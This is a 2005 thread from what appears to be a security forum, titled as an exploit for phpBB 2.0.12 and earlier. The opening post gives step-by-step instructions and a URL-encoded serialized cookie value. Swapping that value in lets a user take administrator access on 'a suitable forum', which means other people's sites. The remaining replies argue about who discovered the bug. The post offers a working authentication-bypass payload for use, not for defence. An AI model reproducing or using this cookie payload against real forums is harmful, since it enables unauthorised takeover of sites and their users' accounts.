 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 84
 Members: 0
 Total: 84
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
phpbb <= 2.0.12 exploit |
|
 Posted: Sun Mar 06, 2005 1:43 pm |
 |
|
| Tomanas |
| Active user |
 |
|
| Joined: Jan 30, 2005 |
| Posts: 29 |
|
|
|
 |
|
 |
|
First u download web-browser firefox. Then find a suitable forum and login into it without checking the autologin box. Then u quit the browser and go here:
C:\Documents and Settings\USER\Application Data\Mozilla\Firefox\Profiles\default
Open the cookies.txt and change the folowing line with:
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
Then save, close the cookie file and go to the forum. There u have it, u have the admin! 
P.S. Sorry for my bad english.
P.S.S. Ask if there are questions:) |
|
|
|
|
| Posted: Sun Mar 06, 2005 1:56 pm |
|
|
| Injector |
| Active user |
|
|
| Joined: Dec 29, 2004 |
| Posts: 49 |
|
|
|
|
|
|
|
| yeah the bug was actually discovered by Heintz of this forum |
|
|
|
|
| Posted: Tue Mar 08, 2005 12:21 pm |
|
|
| shai-tan |
| Valuable expert |
|
|
| Joined: Feb 22, 2005 |
| Posts: 477 |
|
|
|
|
|
|
|
That means he is AnthraX101? Or did he just make the exploit?  |
|
_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
| Posted: Thu Mar 10, 2005 11:24 am |
|
|
| Tomanas |
| Active user |
|
|
| Joined: Jan 30, 2005 |
| Posts: 29 |
|
|
|
|
|
|
|
| he discovered it, i think |
|
|
|
|
| Posted: Thu Mar 10, 2005 12:12 pm |
|
|
| shai-tan |
| Valuable expert |
|
|
| Joined: Feb 22, 2005 |
| Posts: 477 |
|
|
|
|
|
|
|
| Because according to phpBB.com AnthraX101 submitted the bug to the security/bug tracker...... Unless he sent a pm/email to the admins and they submitted...... But his name should be in the phpBB CHANGELOG.html file but its not. |
|
_________________
Shai-tan
?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds |
|
|
|
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
